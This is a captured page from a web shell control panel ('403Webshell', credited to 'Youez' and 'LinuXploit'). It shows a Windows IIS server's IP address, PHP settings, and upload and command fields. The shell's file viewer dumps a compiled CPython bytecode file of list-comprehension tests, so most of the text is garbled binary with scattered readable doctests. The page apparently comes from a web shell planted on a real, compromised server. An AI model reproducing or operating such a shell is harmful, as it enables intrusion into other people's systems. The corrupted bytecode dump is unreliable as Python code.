403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python313/Lib/test/__pycache__/test_listcomps.cpython-313.opt-2.pyc
�

��i�b���SSKrSSKrSSKrSSKrSSKrSSKJr Sr"SS\R5r	S\0r
Sr\S:Xa\R"5 gg)	�N)�
BrokenItera�
########### Tests borrowed from or inspired by test_genexps.py ############

Test simple loop with conditional

    >>> sum([i*i for i in range(100) if i&1 == 1])
    166650

Test simple nesting

    >>> [(i,j) for i in range(3) for j in range(4)]
    [(0, 0), (0, 1), (0, 2), (0, 3), (1, 0), (1, 1), (1, 2), (1, 3), (2, 0), (2, 1), (2, 2), (2, 3)]

Test nesting with the inner expression dependent on the outer

    >>> [(i,j) for i in range(4) for j in range(i)]
    [(1, 0), (2, 0), (2, 1), (3, 0), (3, 1), (3, 2)]

Test the idiom for temporary variable assignment in comprehensions.

    >>> [j*j for i in range(4) for j in [i+1]]
    [1, 4, 9, 16]
    >>> [j*k for i in range(4) for j in [i+1] for k in [j+1]]
    [2, 6, 12, 20]
    >>> [j*k for i in range(4) for j, k in [(i+1, i+2)]]
    [2, 6, 12, 20]

Not assignment

    >>> [i*i for i in [*range(4)]]
    [0, 1, 4, 9]
    >>> [i*i for i in (*range(4),)]
    [0, 1, 4, 9]

Make sure the induction variable is not exposed

    >>> i = 20
    >>> sum([i*i for i in range(100)])
    328350

    >>> i
    20

Verify that syntax error's are raised for listcomps used as lvalues

    >>> [y for y in (1,2)] = 10          # doctest: +IGNORE_EXCEPTION_DETAIL
    Traceback (most recent call last):
       ...
    SyntaxError: ...

    >>> [y for y in (1,2)] += 10         # doctest: +IGNORE_EXCEPTION_DETAIL
    Traceback (most recent call last):
       ...
    SyntaxError: ...


########### Tests borrowed from or inspired by test_generators.py ############

Make a nested list comprehension that acts like range()

    >>> def frange(n):
    ...     return [i for i in range(n)]
    >>> frange(10)
    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

Same again, only as a lambda expression instead of a function definition

    >>> lrange = lambda n:  [i for i in range(n)]
    >>> lrange(10)
    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

Generators can call other generators:

    >>> def grange(n):
    ...     for x in [i for i in range(n)]:
    ...         yield x
    >>> list(grange(5))
    [0, 1, 2, 3, 4]


Make sure that None is a valid return value

    >>> [None for i in range(10)]
    [None, None, None, None, None, None, None, None, None, None]

c�^�\rSrSrSSSS\4SjrSrSrSrU4Sjr	S	r
S
rSrSr
S
rSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSrSr S r!S!r"S"r#S#r$S$r%S%r&S&r'S'r(S(r)S)r*S*r+S+r,S,r-S-r.S.r/S/r0S0r1S1r2S2r3S3r4S4r5S5r6S6r7S7r8S8r9S9r:S:r;S;r<S<r=S=r>S>r?S?r@S@rASArBSrCU=rD$)B�ListComprehensionTest�bN�c	���[R"U5nU=(d /SQnUGHnURUS9 US:Xa<[R"S5R[R"US5S9nSn	OGUS:Xa<[R"S	5R[R"US5S9nS
n	OUnSn	U(aUR5O0n
U"X�5 U=(d 0R
5Hup�URU	"X�5X�5 M SSS5 GM g!Ua%n
UR[U
5U5 Sn
A
N4Sn
A
ff=f!,(df   GME=f)N)�module�class�function)�scoper
zZ
                        class _C:
                            {code}
                    z    )�codec� �[USU5$)N�_C)�getattr��moddict�names  �(C:\Python313\\Lib\test\test_listcomps.py�
get_output�:ListComprehensionTest._check_in_scopes.<locals>.get_outputns��&�w�t�}�d�;�;�rz�
                        def _f():
                            {code}
                            return locals()
                        _out = _f()
                    c��USU$)N�_outrrs  rrrws��&�v��t�4�4rc�
�X$�Nrrs  rrr{s
��&�}�,r)
�textwrap�dedent�subTest�format�indent�copy�items�assertEqual�assertIs�type)�selfr
�outputs�ns�scopes�raises�	exec_funcr�newcoder�newns�k�v�es              r�_check_in_scopes�&ListComprehensionTest._check_in_scopescs<�����t�$���:�:���E����E��*��G�#�&�o�o�/�� ��X�_�_�T�6�%B��C��<��j�(�&�o�o�/��
 ��X�_�_�T�6�%B��C��5�#�G�-�%'����	�R��E��g�-�
")��B� 5� 5� 7����(�(��E�)=�q�D�!8�9+�*���2�3��M�M�$�q�'�6�2�2��3��1+�*�s6�B#E�D-�%:E�-E�3E�E�E�E�
E+	c�6�SnS/SQ0nURX5 g)Nzf
            items = [(lambda i=i: i) for i in range(5)]
            y = [x() for x in items]
        �y)r�����r1�r&r
r's   r�*test_lambdas_with_iteration_var_as_default�@ListComprehensionTest.test_lambdas_with_iteration_var_as_default��#������(�����d�,rc�6�SnS/SQ0nURX5 g)Nzb
            items = [(lambda: i) for i in range(5)]
            y = [x() for x in items]
        r4�r8r8r8r8r8r9r:s   r�test_lambdas_with_free_var�0ListComprehensionTest.test_lambdas_with_free_var�r=rc��"SS5nURUR/SQ5 URU"5R5U5 g)Nc�^^�\rSrSrU4Sjr\"S5VV^s/sH	mU4SjPM snnr\VVs/sH	o""5PM snnrSrU=r	$s snnfs snnf)�JListComprehensionTest.test_class_scope_free_var_with_class_cell.<locals>.C�c�>�[5 T$r)�super)r&�	__class__s �r�method�QListComprehensionTest.test_class_scope_free_var_with_class_cell.<locals>.C.method�s����� � r�c�>�T$rr)�is�r�<lambda>�SListComprehensionTest.test_class_scope_free_var_with_class_cell.<locals>.C.<lambda>�s���arr)
�__name__�
__module__�__qualname__�__firstlineno__rI�ranger"r4�__static_attributes__�
__classcell__)�.0rM�xrHs0p0@r�CrD�s@���
!�+0��(�3�(�Q�i�(�3�E�#�$�e����e�$�A��4��$s
�A�ArYr?)r#r4r$rI)r&rYs  r�)test_class_scope_free_var_with_class_cell�?ListComprehensionTest.test_class_scope_free_var_with_class_cell�s8��	%�	%�	
������o�.��
�
�a�c�j�j�l�A�&rc�8>�SnURUS[/0S9 g)Nz0
            res = [super for x in [1]]
        �res)r')r1rG)r&r
rHs  �r�test_references_super�+ListComprehensionTest.test_references_super�s&�����	
���d�U�U�G�,<��=rc�0�SnURU[S9 g)Nz4
            res = [__class__ for x in [1]]
        �r*�r1�	NameError�r&r
s  r�test_references___class__�/ListComprehensionTest.test_references___class__������	
���d�9��5rc�`�SnURUSS/0SS/S9 URU[S/S9 g)	NzN
            __class__ = 2
            res = [__class__ for x in [1]]
        r]r6r	r)r'r)r
�r*r)rbrds  r�!test_references___class___defined�7ListComprehensionTest.test_references___class___defined�sH����	
����u�q�c�l�H�j�3I�	�	K����d�9�g�Y��Grc�0�SnURU[S9 g)Nz9
            class i: [__classdict__ for x in y]
        rarbrds  r�test_references___classdict__�3ListComprehensionTest.test_references___classdict__�rgrc�0�SnURU[S9 g)NzG
            class i: [__conditional_annotations__ for x in y]
        rarbrds  r�+test_references___conditional_annotations__�AListComprehensionTest.test_references___conditional_annotations__�rgrc�0�SnURU[S9 g)Nz
            __class__ = 2
            class C:
                res = [__class__ for x in [1]]
            res = C.res
        rarbrds  r�#test_references___class___enclosing�9ListComprehensionTest.test_references___class___enclosing�s����	
���d�9��5rc�0�SnURU[S9 g)NzO
            [super for _ in [1]]
            [__class__ for _ in [1]]
        rarbrds  r�*test_super_and_class_cell_in_sibling_comps�@ListComprehensionTest.test_super_and_class_cell_in_sibling_comps�s����	
���d�9��5rc�8�Sn/SQSS.nURX5 g)Nzu
            items = [(lambda: i) for i in range(5)]
            i = 20
            y = [x() for x in items]
        r?�)r4rMr9r:s   r�test_inner_cell_shadows_outer�3ListComprehensionTest.test_inner_cell_shadows_outer�s#����
(�b�1�����d�,rc�8�SnSS/SS.nURX5 g)Nz�
            def f(x):
                return [lambda: x for x in range(x)], x
            fns, x = f(2)
            y = [fn() for fn in fns]
        r5r6�r4rXr9r:s   r�&test_inner_cell_shadows_outer_no_store�<ListComprehensionTest.test_inner_cell_shadows_outer_no_store�s'�����A��Q�'�����d�,rc�8�SnS/SQ0nURXSS/S9 g)Nzt
            items = [(lambda: y) for i in range(5)]
            y = 2
            z = [x() for x in items]
        �z)r6r6r6r6r6r	r�r)r9r:s   r�%test_closure_can_jump_over_comp_scope�;ListComprehensionTest.test_closure_can_jump_over_comp_scope�s-����
��(�����d�X�z�4J��Krc�6�SnSS/0nURXSS/S9 g)Nz�
            def f():
                return [lambda: x for x in (x, [1])[1]]
            x = ...
            y = [fn() for fn in f()]
        r4r5r	rr�r9r:s   r�test_cell_inner_free_outer�0ListComprehensionTest.test_cell_inner_free_outer�s.�������*�����d�X�z�4J��Krc�b�SnSS/0nURXSS/S9 URUS/[S9 g)	Nzj
            g = 2
            def f():
                return g
            y = [g for x in [1]]
        r4r6r	rr�r
�r)r*rbr:s   r�test_free_inner_cell_outer�0ListComprehensionTest.test_free_inner_cell_outer�sE�������*�����d�X�z�4J��K����d�G�9�Y��Grc�8�SnS/SQS.nURX5 g)Nz�
            y = 10
            items = [(lambda: y) for y in range(5)]
            x = y
            y = 20
            out = [z() for z in items]
        �
r?)rX�outr9r:s   r�'test_inner_cell_shadows_outer_redefined�=ListComprehensionTest.test_inner_cell_shadows_outer_redefineds#�����?�3�����d�,rc�4�SnSS0nURXSS0S9 g)Nzu
            def inner():
                return g
            [g for g in range(5)]
            x = inner()
        rX����g�r(r9r:s   r�test_shadows_outer_cell�-ListComprehensionTest.test_shadows_outer_cells+������)�����d��b�	��:rc�:�SnSSS/S.nURXSS0S9 g)Nzy
            global g
            x = g
            g = 2
            items = [g for g in [1]]
            y = g
        r5r6�rXr4r"r�r�r9r:s   r�test_explicit_global�*ListComprehensionTest.test_explicit_global�0������Q�C�0�����d��a���9rc�:�SnSSS/S.nURXSS0S9 g)Nzy
            global g
            x = g
            g = 2
            items = [g for x in [1]]
            y = g
        r5r6r�r�r�r9r:s   r�test_explicit_global_2�,ListComprehensionTest.test_explicit_global_2$r�rc�6�SnSS/0nURXSS0S9 g)Nzr
            global g
            fns = [lambda: g for g in [2]]
            items = [fn() for fn in fns]
        r"r6r�r5r�r9r:s   r�test_explicit_global_3�,ListComprehensionTest.test_explicit_global_3/s-����
�Q�C�.�����d��a���9rc�4�SnSS0nURXSS/S9 g)NzK
            x = -1
            items = [(x:=y) for y in range(3)]
        rXr6r	rr�r9r:s   r�test_assignment_expression�0ListComprehensionTest.test_assignment_expression8s,������(�����d�X�z�4J��Krc�2�SnSS0nURX5 g)Nz�
            lst = range(3)
            funcs = [lambda: x for x in lst]
            inc = [x + 1 for x in lst]
            [x for x in inc]
            x = funcs[0]()
        rXr6r9r:s   r�test_free_var_in_comp_child�1ListComprehensionTest.test_free_var_in_comp_childAs"������(�����d�,rc�2�SnSS0nURX5 g)Nz�
            lst = range(3)
            x = -1
            funcs = [lambda: x for x in lst]
            items = [x + 1 for x in lst]
        rXr�r9r:s   r�test_shadow_with_free_and_local�5ListComprehensionTest.test_shadow_with_free_and_localL�"������)�����d�,rc�4�SnSS/0nURX5 g)Nz<
            x = [1]
            y = [x for x in x]
        rXr5r9r:s   r�test_shadow_comp_iterable_name�4ListComprehensionTest.test_shadow_comp_iterable_nameVs$�������*�����d�,rc�4�SnSS0nURXSS/S9 g)Nz
            x = 1
            def g():
                [x for x in range(3)]
                return x
            g()
        rXr5r	rr�r9r:s   r�test_nested_free�&ListComprehensionTest.test_nested_free^s,������(�����d�X�z�4J��Krc�2�SnSS0nURX5 g)Nzz
            import sys
            [i for i in range(2)]
            i = 20
            sys._getframe().f_locals
        rMryr9r:s   r�test_introspecting_frame_locals�5ListComprehensionTest.test_introspecting_frame_localsir�rc�>�SnSSS//SQ/0nURX5 g)NzX
            l = [2, 3]
            y = [[x ** 2 for x in range(x)] for x in l]
        r4rr5)rr5r8r9r:s   r�test_nested�!ListComprehensionTest.test_nestedss,�����!�Q���+�,�����d�,rc�d�SnS/SQ0nURXSS/S9 URUS/[S9 g)	Nzt
            l = [1, 2, 3]
            x = 3
            y = [x for [x ** x for x in range(x)][x - 1] in l]
        r4)r7r7r7r	rr�r
r�rbr:s   r�
test_nested_2�#ListComprehensionTest.test_nested_2{sD����
�	�"�����d�X�z�4J��K����d�G�9�Y��Grc�6�SnS/SQ0nURX5 g)Nzv
            l = [(1, 2), (3, 4), (5, 6)]
            y = [x for (x, [x ** x for x in range(x)][x - 1]) in l]
        r4)r5r7rKr9r:s   r�
test_nested_3�#ListComprehensionTest.test_nested_3�s#�����	�"�����d�,rc�P�SnSSS/S4SS/S4SS/S4/0nURX5 g)Nz�
            items = [([lambda: x for x in range(2)], lambda: x) for x in range(3)]
            out = [([fn() for fn in fns], fn()) for fns, fn in items]
        r�r5r6r9r:s   r�
test_nested_4�#ListComprehensionTest.test_nested_4�sB�����Q��F�A�;�!�Q����q�!�f�a�[�A�B�����d�,rc�0�SnURU[S9 g)Nz4
            [x for x in [1]]
            x
        rarbrds  r�test_nameerror�$ListComprehensionTest.test_nameerror�s����
	
���d�9��5rc�4�SnSS/0nURX5 g)Nz.
            y = [__x for __x in [1]]
        r4r5r9r:s   r�test_dunder_name�&ListComprehensionTest.test_dunder_name�s$�������*�����d�,rc�v�SnUR[5 U"5 SSS5 g!,(df   g=f)Nc�4�SVs/sHoPM  nW$s snf)N)r5r)rXs r�f�GListComprehensionTest.test_unbound_local_after_comprehension.<locals>.f�s!������1�Q����H��
s���assertRaises�UnboundLocalError�r&r�s  r�&test_unbound_local_after_comprehension�<ListComprehensionTest.test_unbound_local_after_comprehension�s)��	��
�
�0�
1�
�C�2�
1�
1���*�
8c�v�SnUR[5 U"5 SSS5 g!,(df   g=f)Nc�J�S/nSS/4Vs/sHuWS'nSPM
 sn$s snf)Nr5r6rr)�ls rr��HListComprehensionTest.test_unbound_local_inside_comprehension.<locals>.f�s/����A�)*�A��x�0�x�)�1�Q�4��A�x�0�0��0s� r�r�s  r�'test_unbound_local_inside_comprehension�=ListComprehensionTest.test_unbound_local_inside_comprehension�s)��	1��
�
�0�
1�
�C�2�
1�
1�r�c�d�SnURUSS0SS0SS/S9 URU[S	/S
9 g)Nz�
            a = 1
            def f():
                func, = [(lambda: b) for b in [a]]
                return b, func()
            x = f()
        rX)r6r5�br6rr	�r(r)r
rirbrds  r�/test_global_outside_cellvar_inside_plus_freevar�EListComprehensionTest.test_global_outside_cellvar_inside_plus_freevar�sN����	
����3��-�S�!�H�j�(�5K�	�	M�	
���d�9�g�Y��Grc�d�SnURUSS0SS0SS/S9 URU[S	/S
9 g)Nz�
            a = 1
            def f():
                (func, inner_b), = [[lambda: b for b in c] + [b] for c in [[a]]]
                return b, inner_b, func()
            x = f()
        rX)r6r6r5r�r6rr	r�r
rirbrds  r�!test_cell_in_nested_comprehension�7ListComprehensionTest.test_cell_in_nested_comprehension�sO����	
����3�	�"��Q�x��X�8N�	�	P�	
���d�9�g�Y��Grc�4�SnURU[S/S9 g)NzA
            y = 1
            [x + y for x in range(2)]
        r
rirbrds  r�test_name_error_in_class_scope�4ListComprehensionTest.test_name_error_in_class_scope�s"����	
���d�9�g�Y��Grc�<�SnSSS/0nURXSS0S/S9 g)	NzI
            y = 2
            vals = [(x, y) for x in range(2)]
        �vals�rr5�r5r5r4r5r
r�r9r:s   r�test_global_in_class_scope�0ListComprehensionTest.test_global_in_class_scope�s5�����F�F�+�,�����d��a��'���Krc�<�SnSSS/0nURXSS0S/S9 g)	Nz�
            class C:
                y = 2
                vals = [(x, y) for x in range(2)]
            vals = C.vals
        r�r�r�r4r5rr�r9r:s   r�%test_in_class_scope_inside_function_1�;ListComprehensionTest.test_in_class_scope_inside_function_1�s5�����F�F�+�,�����d��a��*���Nrc�6�SnSSS/0nURXS/S9 g)Nz�
            y = 1
            class C:
                y = 2
                vals = [(x, y) for x in range(2)]
            vals = C.vals
        r�r�r�rr�r9r:s   r�%test_in_class_scope_inside_function_2�;ListComprehensionTest.test_in_class_scope_inside_function_2�s/�����F�F�+�,�����d�Z�L��Arc�f�SnSSS/0nURXSS/S9 SSS	/0nURXS
/S9 g)Na;
            y = 1
            class C:
                global y
                y = 2
                # Ensure the listcomp uses the global, not the value in the
                # class namespace
                locals()['y'] = 3
                vals = [(x, y) for x in range(2)]
            vals = C.vals
        r��rr6�r5r6r	r
r�r�r�rr9r:s   r�test_in_class_scope_with_global�5ListComprehensionTest.test_in_class_scope_with_global�sV��
���F�F�+�,�����d�X�w�4G��H��F�F�+�,�����d�Z�L��Arc�6�SnSSS/0nURXS/S9 g)Na=
            y = 1
            class C:
                nonlocal y
                y = 2
                # Ensure the listcomp uses the global, not the value in the
                # class namespace
                locals()['y'] = 3
                vals = [(x, y) for x in range(2)]
            vals = C.vals
        r�r�r�rr�r9r:s   r�!test_in_class_scope_with_nonlocal�7ListComprehensionTest.test_in_class_scope_with_nonlocals/��
���F�F�+�,�����d�Z�L��Arc�4�SnSS/0nURXS/S9 g)NzB
            items = [a for a in [1] if [a for _ in [0]]]
        r"r5r
r�r9r:s   r�test_nested_has_free_var�.ListComprehensionTest.test_nested_has_free_vars+�����Q�C�.�����d�W�I��>rc�b�SnURUSS/0SS/S9 URUS/0SS0S	/S
9 g)NzY
            z = 1
            items = [a for a in [1] if [x for x in [1] if z]]
        r"r5r	rr�r�rr
r�r9rds  r�,test_nested_free_var_not_bound_in_outer_comp�BListComprehensionTest.test_nested_free_var_not_bound_in_outer_compsL����	
���d�W�q�c�N�H�j�;Q��R����d�W�b�M�s�A�h��y��Qrc�2�SnURUSS/05 g)Nz]
            items = [_C for _C in [1] for [0, 1][[x for x in [1] if _C][0]] in [2]]
        r"r5r9rds  r�test_nested_free_var_in_iter�2ListComprehensionTest.test_nested_free_var_in_iter#s!����	
���d�W�q�c�N�3rc�>�SnURUSS/4SS/4/05 g)NzM
            items = [(_C, [x for x in [1] if _C]) for _C in [0, 1]]
        r"rr5r9rds  r�test_nested_free_var_in_expr�2ListComprehensionTest.test_nested_free_var_in_expr)s/����	
���d�W��2�w��Q�C��.A�$B�Crc�4�SnURUSS/S.5 g)Nz�
            f = [(z, lambda y: [(x, y, z) for x in [3]]) for z in [1]]
            (z, func), = f
            out = func(2)
        r5)r7r6r5)r�r�r9rds  r�test_nested_listcomp_in_lambda�4ListComprehensionTest.test_nested_listcomp_in_lambda/s"����
	
���d�!�Y�K�$@�Arc�2�SnURUSSS.5 g)Nz�
            (func, c), = [(a, b) for b in [1] for a in [lambda : a]]
            d = func()
            assert d is func
            # must use "a" in this scope
            e = a if False else None
        r5)�cr0r9rds  r�test_lambda_in_iter�)ListComprehensionTest.test_lambda_in_iter7s ����	
���d�!�$�$7�8rc�2�SnURUSS/0S/S9 g)Nz*
            a = [1 for a in [0]]
        �ar5rr�r9rds  r�.test_assign_to_comp_iter_var_in_outer_function�DListComprehensionTest.test_assign_to_comp_iter_var_in_outer_functionAs(����	
���d�S�1�#�J�
�|��Drc��SnURUS/S.S/S9 URUSS/S.S/S9 URU[S/S	9 g)
Nz�
            def b():
                [a for b in [1] for _ in []]
                return b, locals()
            r, s = b()
            x = r is b
            y = list(s.keys())
        T�rXr4r	r�r�rr
rirbrds  r�test_no_leakage_to_locals�/ListComprehensionTest.test_no_leakage_to_localsGs\����	
���d�$�R�$8�(���L����d�$�c�U�$;�Z�L��Q����d�9�g�Y��Grc	�H�SnURUSS/SS/SS/SS/SS.5 g)NaJ
            l = [1, 2]
            y = 0
            items = [locals()["x"] for x in l]
            items2 = [vars()["x"] for x in l]
            items3 = [("x" in dir()) for x in l]
            items4 = [eval("x") for x in l]
            # x is available, and does not overwrite y
            [exec("y = x") for x in l]
        r5r6Tr)r"�items2�items3�items4r4r9rds  r�!test_iter_var_available_in_locals�7ListComprehensionTest.test_iter_var_available_in_localsTs@��	��	
�����Q���a�&���,��a�&��
�		
rc��SnURSS9nURUS/S/SS.5 URSS9nURUS/SS/S.[S9 g)	Nz�
            value = ["ab"]
            result = snapshot = None
            try:
                result = [{func}(value) for value in value]
            except:
                snapshot = value
                raise
        �len��func�abr6��value�result�snapshot�intra�rr1�
ValueError�r&�templater
s   r�test_comp_in_try_except�-ListComprehensionTest.test_comp_in_try_exceptjsn�������E��*�����d�t�f���QU�$V�W����E��*�����d�t�f��SW�RX�$Y�%/�	�	1rc��SnURSS9nURUS/S/S/S.5 URSS9nURUS/SS/S.[S9 g)	Nz�
            value = ["ab"]
            result = snapshot = None
            try:
                result = [{func}(value) for value in value]
            finally:
                snapshot = value
        rrrr6rr!rar"r$s   r�test_comp_in_try_finally�.ListComprehensionTest.test_comp_in_try_finally|sq�������E��*�����d�t�f���RV�QW�$X�Y����E��*�����d�t�f��SW�RX�$Y�%/�	�	1rc�4�SnURUSSS/05 g)Nz�
            value = [1, None]
            try:
                [v for v in value].sort()
            except:
                pass
        rr5r9rds  r� test_exception_in_post_comp_call�6ListComprehensionTest.test_exception_in_post_comp_call�s$����	
���d�W�q�$�i�$8�9rc�h�SnSSKnURUSS0SU0S9 SnURUSS0SU0S9 g)NzM
            val = "a" in [sys._getframe().f_locals for a in [0]][0]
        r�valF�sysr�zK
            val = [sys._getframe().f_locals["a"] for a in [0]][0]
        )r0r1)r&r
r0s   r�test_frame_locals�'ListComprehensionTest.test_frame_locals�sQ����	����d�U�E�N��s�|��D���	
���d�U�A�J�E�3�<��@rc�^�[U[R5(dU$UR[	U4SjUR
55S9$)Nc3�F># �UHnTRU5v� M g7fr)�_recursive_replace)rWrr&s  �r�	<genexpr>�;ListComprehensionTest._recursive_replace.<locals>.<genexpr>�s#����2
�0D�1�D�#�#�A�&�&�0D�s�!)�	co_consts)�
isinstance�types�CodeType�replace�tupler8)r&�
maybe_codes` rr5�(ListComprehensionTest._recursive_replace�sJ����*�e�n�n�5�5����!�!�E�2
�0:�0D�0D�2
�-
�!��	rc�V�[USS5nURU5n[X25 g)Nz<string>�exec)�compiler5rA)r&�code_stringr(�cos    r�_replacing_exec�%ListComprehensionTest._replacing_exec�s'��
�[�*�f�
5��
�
$�
$�R�
(���R�rc�r�SnURUS/SS.5 URUS/SS.URS9 g)Nza
            x = 3
            [x for x in (1, 2)]
            dir()
            y = [x]
        r7r}�r+)r1rErds  r�test_code_replace�'ListComprehensionTest.test_code_replace�sD����	
���d�1�#�A�$6�7����d�1�#�A�$6�$�BV�BV��Wrc	�v�SnSRS[U555nSRS[U555nS[[U550[U5Vs0sH	nSU3U_M snEnSUS	US
USUS3	nURXe5 URXeURS
9 gs snf)Ni,z; c3�2# �UH
nSUSU3v� M g7f)rXz = Nr�rWrMs  rr6�GListComprehensionTest.test_code_replace_extended_arg.<locals>.<genexpr>�s���H�7G�!�!�A�3�c�!��
�7G�s�z, c3�,# �UH
nSU3v� M g7f)rXNrrMs  rr6rN�s���@�/?�!��!��g�/?�s�r4rXz
            z
            [(z) for z6 in (range(300),)]
            dir()
            y = [z
]
        rH)�joinrT�listr1rE)r&�	num_names�assignments�	name_listrM�expectedr
s       r�test_code_replace_extended_arg�4ListComprehensionTest.test_code_replace_extended_arg�s����	��i�i�H�u�Y�7G�H�H���I�I�@�u�Y�/?�@�@�	���e�I�&�'�
�#(��#3�4�#3�a��1�#�w��z�#3�4�
��
�
�M���k��	�{�+���	�	��	
���d�-����d��8L�8L��M��5s�'B6c��SnURUSS/0SS0S9 SnURUSS/S.SS0S	/S
9 URUSS/S.SS0SS/S
9 g)
NzG
            [x for x in [1]]
            y = [x for _ in [1]]
        r4r7rXr�zY
            x = 2
            [x for x in [1]]
            y = [x for _ in [1]]
        r6rr
r�rr	r9rds  r�&test_multiple_comprehension_name_reuse�<ListComprehensionTest.test_multiple_comprehension_name_reuse�s����	
���d�S�1�#�J�C��8��<���
	
���d�!�1�#�$6�C��8�W�I��V����d�!�1�#�$6�C��8�Z�Ya�Lb��crc��SnSnSnUS4US4US44H�upEURU5 U"5n[R"UR5SnSnURn	URURU	RS	-5 URURU	RS	-5 URURURU-
URU-
U5 SSS5 M� g!,(df   M�=f)
Nc�r�[SS9Vs/sHoPM  ngs snf![anUsSnA$SnAff=f)NT)�init_raises�r�	Exception�rXr0s  rr]�CListComprehensionTest.test_exception_locations.<locals>.init_raises��8��
�&�4�8�9�8�q��8�9��9���
����
�� � �� � �
6�1�6�6c�r�[SS9Vs/sHoPM  ngs snf![anUsSnA$SnAff=f)NT)�next_raisesr^r`s  rre�CListComprehensionTest.test_exception_locations.<locals>.next_raises�rbrcc�r�[SS9Vs/sHoPM  ngs snf![anUsSnA$SnAff=f)NT)�iter_raisesr^r`s  rrh�CListComprehensionTest.test_exception_locations.<locals>.iter_raises�rbrczBrokenIter(init_raises=True)zBrokenIter(next_raises=True)zBrokenIter(iter_raises=True)r�r6)r�	traceback�
extract_tb�
__traceback__�__code__r#�lineno�co_firstlineno�
end_lineno�line�colno�	end_colno)
r&r]rerhrrU�excr�r rDs
          r�test_exception_locations�.ListComprehensionTest.test_exception_locations�s���	�	�	�!,�-K�L� +�-K�L� +�-K�L� �N�D����d�#��f���(�(��):�):�;�A�>�����]�]��� � ����2�+<�+<�q�+@�A�� � ����r�/@�/@�1�/D�E�� � �������&�(8�1�;�;��;O�!P�!)�+�$�#�	 �$�#�s�CC<�<
D	)ErPrQrRrSrAr1r;r@rZr^rerjrmrprsrvrzr~r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrr&r)r,r1r5rErIrVrYrvrUrV)rHs@rrrbse���-1�d�4�PR�#'�"E�H-�-�	'�>�6�H�6�6�6�6�-�-�L�L�	H�	-�;�	:�	:�:�L�	-�-�-�	L�-�-�H�-�-�6�-���H�H�H�L�O�	B�B�"
B�?�R�4�D�B�9�E�H�
�,1�$1�":�
A���
X�N�"
d�"+�"+rr�doctestsc�N�UR[R"55 U$r)�addTest�doctest�DocTestSuite)�loader�tests�patterns   r�
load_testsr��s��	�M�M�'�&�&�(�)��Lr�__main__)r{rrkr:�unittest�test.supportrrx�TestCaser�__test__r�rP�mainrrr�<module>r�s^�������#�U��pY
+�H�-�-�Y
+�v
��"���
�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit